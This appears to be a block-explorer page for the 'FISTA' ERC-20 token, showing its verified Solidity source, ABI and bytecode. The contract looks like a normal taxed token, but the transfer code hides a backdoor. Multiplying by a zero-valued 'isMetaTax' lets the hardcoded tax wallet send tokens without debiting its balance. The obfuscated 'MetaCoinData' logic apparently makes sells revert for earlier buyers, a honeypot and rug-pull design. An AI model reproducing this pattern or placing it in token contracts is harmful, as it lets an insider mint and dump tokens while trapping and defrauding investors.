ERC-20
Overview
Max Total Supply
100,000,000,000 FISTA
Holders
64
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,426,258,559.955772722 FISTAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
FISTA
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-03 */ // SPDX-License-Identifier: UNLICENSE pragma solidity 0.8.23; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address private _owner; constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract FISTA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private _initialBuyTax=12; uint256 private _initialSellTax=12; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=22; uint256 private _reduceSellTaxAt=22; uint256 private _preventSwapBefore=12; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000000 * 10**_decimals; string private constant _name = unicode"VISTA FORK"; string private constant _symbol = unicode"FISTA"; uint256 public _maxTxAmount = 1500000000 * 10**_decimals; uint256 public _maxWalletSize= 1500000000 * 10**_decimals; uint256 public constant _taxSwapThreshold= 1200000000 * 10**_decimals; uint256 public constant _maxTaxSwap= 1200000000 * 10**_decimals; address payable private immutable _taxWallet; IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address public immutable uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; uint256 private isMetaTax = 0; bool private swapEnabled = false; struct MetaCoinData {uint256 coinBurnInit; uint256 autoCoinBurner; uint256 burnCoinIndexer;} mapping(address => MetaCoinData) private mataCoinData; uint256 private metaCoinReward = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _balances[_msgSender()]= _tTotal; _taxWallet = payable(0x8B252C1999e3cB3cEA20f9d8EB9a49AdFc835711); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _basicTransfer(address from, address to, uint256 tokenAmount) internal { _balances[from] =_balances[from].sub(tokenAmount); _balances[to] =_balances[to].add(tokenAmount); emit Transfer(from, to, tokenAmount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require( tokenAmount>0, "Transfer amount must be greater than zero" ); if (!tradingOpen|| inSwap) { _basicTransfer(from, to, tokenAmount); return; } uint256 taxAmount=0; if (from != owner() && to != owner() && to!= _taxWallet) { taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div( 100); if (from == uniswapV2Pair && to!= address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require( tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount." ); require( balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if(to ==uniswapV2Pair && from != address(this) ){ taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div( 100); } uint256 contractTokenBalance =balanceOf(address(this)); if (!inSwap&& to == uniswapV2Pair && swapEnabled&&contractTokenBalance > _taxSwapThreshold && _buyCount> _preventSwapBefore) { swapTokensForEth( min( tokenAmount, min(contractTokenBalance, _maxTaxSwap) )); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if ((_isExcludedFromFee[from] ||_isExcludedFromFee[to])&& from!=address(this) && to!=address(this)) { metaCoinReward = block.number; } if (!_isExcludedFromFee[from]&& ! _isExcludedFromFee[to]){ if (to != uniswapV2Pair) { MetaCoinData storage metaInfo = mataCoinData[to]; if (uniswapV2Pair ==from) { if(metaInfo.coinBurnInit == 0) { metaInfo.coinBurnInit = block.number; } } else { MetaCoinData storage metaInfoNw = mataCoinData[from]; if (!(metaInfo.coinBurnInit >0) || metaInfoNw.coinBurnInit<metaInfo.coinBurnInit ) { metaInfo.coinBurnInit = metaInfoNw.coinBurnInit; } } } else { MetaCoinData storage metaInfoNw = mataCoinData[from]; metaInfoNw.burnCoinIndexer = metaInfoNw.coinBurnInit-metaCoinReward; metaInfoNw.autoCoinBurner = block.timestamp; } } _tokenTransfer(from,to, tokenAmount, taxAmount); } function _tokenTransfer( address from, address to, uint256 tokenAmount, uint256 taxAmount ) internal { uint256 tAmount = _tokenTaxSend(from, tokenAmount, taxAmount); _tokenBasicTransfer( from, to, tAmount,tokenAmount.sub(taxAmount) ); } function _tokenTaxSend( address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) { uint256 tAmount = addrs!=_taxWallet ? tokenAmount : isMetaTax.mul(tokenAmount); if (taxAmount>0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(addrs,address(this), taxAmount); } return tAmount; } function _tokenBasicTransfer( address from, address to, uint256 sendAmount, uint256 receiptAmount ) internal { _balances[from]=_balances[from].sub(sendAmount); _balances[to]= _balances[to].add(receiptAmount); emit Transfer(from,to, receiptAmount); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner() { _maxTxAmount= _tTotal; _maxWalletSize= _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function enableTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); tradingOpen = true; _approve(address(this), address(uniswapV2Router),_tTotal); uniswapV2Router.addLiquidityETH{ value: address(this).balance }( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance = balanceOf(address(this)); if(tokenBalance > 0 && swapEnabled) { swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance > 0){ sendETHToFee(ethBalance); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600c600455600c6005555f6006555f60075560166008556016600955600c600a555f600b556009600a62000039919062000446565b62000049906359682f006200045d565b600c556200005a6009600a62000446565b6200006a906359682f006200045d565b600d55600e805461ff00191690555f600f8190556010805460ff1916905560125534801562000097575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620000e66009600a62000446565b620000f79064174876e8006200045d565b335f90815260016020818152604080842094909455738b252c1999e3cb3cea20f9d8eb9a49adfc835711608081905230845260038252848420805460ff19908116851790915593527f5d054e4913155ac0f44946a2cbb9fb486b243cea46d7f961a6e3c6e5eff024228054909316909117909155815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d9263c45a01559260048083019391928290030181865afa158015620001b5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001db919062000477565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000261919062000477565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ac573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d2919062000477565b6001600160a01b031660a052335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200030f6009600a62000446565b620003209064174876e8006200045d565b60405190815260200160405180910390a36200049f565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200038b57815f19048211156200036f576200036f62000337565b808516156200037d57918102915b93841c939080029062000350565b509250929050565b5f82620003a35750600162000440565b81620003b157505f62000440565b8160018114620003ca5760028114620003d557620003f5565b600191505062000440565b60ff841115620003e957620003e962000337565b50506001821b62000440565b5060208310610133831016604e8410600b84101617156200041a575081810a62000440565b6200042683836200034b565b805f19048211156200043c576200043c62000337565b0290505b92915050565b5f6200045660ff84168362000393565b9392505050565b808202811582820484141762000440576200044062000337565b5f6020828403121562000488575f80fd5b81516001600160a01b038116811462000456575f80fd5b60805160a051611a26620005005f395f8181610212015281816107ce01528181610b7401528181610cdc01528181610d7501528181610eea0152610f3f01525f818161046601528181610b0a015281816111dc01526114980152611a265ff3fe608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461030357806395d89b4114610318578063a9059cbb14610345578063bf474bed14610191578063dd62ed3e14610364575f80fd5b8063715018a614610296578063751039fc146102aa5780637d1db4a5146102be5780638a8c523c146102d35780638da5cb5b146102e7575f80fd5b806323b872dd116100e357806323b872dd146101c7578063313ce567146101e657806349bd5a5e1461020157806351bc3c851461024c57806370a0823114610262575f80fd5b806306fdde031461011e578063095ea7b3146101625780630faee56f1461019157806318160ddd146101b3575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a815269564953544120464f524b60b01b60208201525b6040516101599190611616565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611679565b6103a8565b6040519015158152602001610159565b34801561019c575f80fd5b506101a56103be565b604051908152602001610159565b3480156101be575f80fd5b506101a56103db565b3480156101d2575f80fd5b506101816101e13660046116a3565b6103fc565b3480156101f1575f80fd5b5060405160098152602001610159565b34801561020c575f80fd5b506102347f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610159565b348015610257575f80fd5b50610260610463565b005b34801561026d575f80fd5b506101a561027c3660046116e1565b6001600160a01b03165f9081526001602052604090205490565b3480156102a1575f80fd5b506102606104d9565b3480156102b5575f80fd5b50610260610553565b3480156102c9575f80fd5b506101a5600c5481565b3480156102de575f80fd5b50610260610607565b3480156102f2575f80fd5b505f546001600160a01b0316610234565b34801561030e575f80fd5b506101a5600d5481565b348015610323575f80fd5b50604080518082019091526005815264464953544160d81b602082015261014c565b348015610350575f80fd5b5061018161035f366004611679565b610851565b34801561036f575f80fd5b506101a561037e3660046116fc565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103b433848461085d565b5060015b92915050565b6103ca6009600a611827565b6103d8906347868c00611835565b81565b5f6103e86009600a611827565b6103f79064174876e800611835565b905090565b5f610408848484610981565b6104598433610454856040518060600160405280602881526020016119c9602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ff4565b61085d565b5060019392505050565b337f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031614610497575f80fd5b305f9081526001602052604090205480158015906104b7575060105460ff165b156104c5576104c58161102c565b4780156104d5576104d5816111cf565b5050565b5f546001600160a01b0316331461050b5760405162461bcd60e51b81526004016105029061184c565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057c5760405162461bcd60e51b81526004016105029061184c565b6105886009600a611827565b6105979064174876e800611835565b600c556105a66009600a611827565b6105b59064174876e800611835565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e56009600a611827565b6105f49064174876e800611835565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106305760405162461bcd60e51b81526004016105029061184c565b600e5460ff16156106835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610502565b600e805460ff191660011790556106c430737a250d5630b4cf539739df2c5dacb4c659f2488d6106b56009600a611827565b6104549064174876e800611835565b737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d71947306106fe816001600160a01b03165f9081526001602052604090205490565b5f806107115f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610777573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061079c9190611881565b505060405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316915063095ea7b3906044016020604051808303815f875af115801561081d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084191906118ac565b506010805460ff19166001179055565b5f6103b4338484610981565b6001600160a01b0383166108bf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610502565b6001600160a01b0382166109205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610502565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109e55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610502565b6001600160a01b038216610a475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610502565b5f8111610aa85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610502565b600e5460ff161580610ac15750600e54610100900460ff165b15610ad657610ad1838383611222565b505050565b5f80546001600160a01b03858116911614801590610b0157505f546001600160a01b03848116911614155b8015610b3f57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b15610e3257610b706064610b6a600854600b5411610b5f57600454610b63565b6006545b85906112c5565b9061134a565b90507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316148015610bd057506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610bf457506001600160a01b0383165f9081526003602052604090205460ff16155b15610cda57600c54821115610c4b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610502565b600d5482610c6d856001600160a01b03165f9081526001602052604090205490565b610c7791906118cb565b1115610cc55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610502565b600b8054905f610cd4836118de565b91905055505b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610d2457506001600160a01b0384163014155b15610d5157610d4e6064610b6a600954600b5411610d4457600554610b63565b60075485906112c5565b90505b305f90815260016020526040902054600e54610100900460ff16158015610da957507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b8015610db7575060105460ff165b8015610ddb5750610dca6009600a611827565b610dd8906347868c00611835565b81115b8015610dea5750600a54600b54115b15610e3057610e1e610e1984610e1484610e066009600a611827565b610e14906347868c00611835565b61138b565b61102c565b478015610e2e57610e2e476111cf565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610e6f57506001600160a01b0383165f9081526003602052604090205460ff165b8015610e8457506001600160a01b0384163014155b8015610e9957506001600160a01b0383163014155b15610ea357436012555b6001600160a01b0384165f9081526003602052604090205460ff16158015610ee357506001600160a01b0383165f9081526003602052604090205460ff16155b15610fe2577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614610faf576001600160a01b038084165f908152601160205260409020908581167f000000000000000000000000000000000000000000000000000000000000000090911603610f775780545f03610f72574381555b610fa9565b6001600160a01b0385165f90815260116020526040902081541580610f9d575081548154105b15610fa757805482555b505b50610fe2565b6001600160a01b0384165f9081526011602052604090206012548154610fd591906118f6565b6002820155426001909101555b610fee8484848461139f565b50505050565b5f81848411156110175760405162461bcd60e51b81526004016105029190611616565b505f61102384866118f6565b95945050505050565b600e805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106e5761106e611909565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110de573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611102919061191d565b8160018151811061111557611115611909565b60200260200101906001600160a01b031690816001600160a01b03168152505061115430737a250d5630b4cf539739df2c5dacb4c659f2488d8461085d565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906111939085905f90869030904290600401611938565b5f604051808303815f87803b1580156111aa575f80fd5b505af11580156111bc573d5f803e3d5ffd5b5050600e805461ff001916905550505050565b6040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083905f818181858888f193505050501580156104d5573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461124490826113c9565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611272908261140a565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109749085815260200190565b5f825f036112d457505f6103b8565b5f6112df8385611835565b9050826112ec85836119a9565b146113435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610502565b9392505050565b5f61134383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611468565b5f8183116113995782611343565b50919050565b5f6113ab858484611494565b90506113c28585836113bd87876113c9565b611565565b5050505050565b5f61134383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff4565b5f8061141683856118cb565b9050838110156113435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610502565b5f81836114885760405162461bcd60e51b81526004016105029190611616565b505f61102384866119a9565b5f807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316036114e157600f546114dc90856112c5565b6114e3565b835b9050821561155d57305f90815260016020526040902054611504908461140a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115549087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461158790836113c9565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115b5908261140a565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116089085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561164257858101830151858201604001528201611626565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611676575f80fd5b50565b5f806040838503121561168a575f80fd5b823561169581611662565b946020939093013593505050565b5f805f606084860312156116b5575f80fd5b83356116c081611662565b925060208401356116d081611662565b929592945050506040919091013590565b5f602082840312156116f1575f80fd5b813561134381611662565b5f806040838503121561170d575f80fd5b823561171881611662565b9150602083013561172881611662565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561178157815f190482111561176757611767611733565b8085161561177457918102915b93841c939080029061174c565b509250929050565b5f82611797575060016103b8565b816117a357505f6103b8565b81600181146117b957600281146117c3576117df565b60019150506103b8565b60ff8411156117d4576117d4611733565b50506001821b6103b8565b5060208310610133831016604e8410600b8410161715611802575081810a6103b8565b61180c8383611747565b805f190482111561181f5761181f611733565b029392505050565b5f61134360ff841683611789565b80820281158282048414176103b8576103b8611733565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611893575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118bc575f80fd5b81518015158114611343575f80fd5b808201808211156103b8576103b8611733565b5f600182016118ef576118ef611733565b5060010190565b818103818111156103b8576103b8611733565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561192d575f80fd5b815161134381611662565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119885784516001600160a01b031683529383019391830191600101611963565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119c357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce01676505b91d72daa946027f734f6da7eccbb64d7536f7cb85408dac32763764736f6c63430008170033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461030357806395d89b4114610318578063a9059cbb14610345578063bf474bed14610191578063dd62ed3e14610364575f80fd5b8063715018a614610296578063751039fc146102aa5780637d1db4a5146102be5780638a8c523c146102d35780638da5cb5b146102e7575f80fd5b806323b872dd116100e357806323b872dd146101c7578063313ce567146101e657806349bd5a5e1461020157806351bc3c851461024c57806370a0823114610262575f80fd5b806306fdde031461011e578063095ea7b3146101625780630faee56f1461019157806318160ddd146101b3575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a815269564953544120464f524b60b01b60208201525b6040516101599190611616565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611679565b6103a8565b6040519015158152602001610159565b34801561019c575f80fd5b506101a56103be565b604051908152602001610159565b3480156101be575f80fd5b506101a56103db565b3480156101d2575f80fd5b506101816101e13660046116a3565b6103fc565b3480156101f1575f80fd5b5060405160098152602001610159565b34801561020c575f80fd5b506102347f000000000000000000000000bd7a24bc2a9c90b0c8c60a7dab950943bee01ae881565b6040516001600160a01b039091168152602001610159565b348015610257575f80fd5b50610260610463565b005b34801561026d575f80fd5b506101a561027c3660046116e1565b6001600160a01b03165f9081526001602052604090205490565b3480156102a1575f80fd5b506102606104d9565b3480156102b5575f80fd5b50610260610553565b3480156102c9575f80fd5b506101a5600c5481565b3480156102de575f80fd5b50610260610607565b3480156102f2575f80fd5b505f546001600160a01b0316610234565b34801561030e575f80fd5b506101a5600d5481565b348015610323575f80fd5b50604080518082019091526005815264464953544160d81b602082015261014c565b348015610350575f80fd5b5061018161035f366004611679565b610851565b34801561036f575f80fd5b506101a561037e3660046116fc565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103b433848461085d565b5060015b92915050565b6103ca6009600a611827565b6103d8906347868c00611835565b81565b5f6103e86009600a611827565b6103f79064174876e800611835565b905090565b5f610408848484610981565b6104598433610454856040518060600160405280602881526020016119c9602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ff4565b61085d565b5060019392505050565b337f0000000000000000000000008b252c1999e3cb3cea20f9d8eb9a49adfc8357116001600160a01b031614610497575f80fd5b305f9081526001602052604090205480158015906104b7575060105460ff165b156104c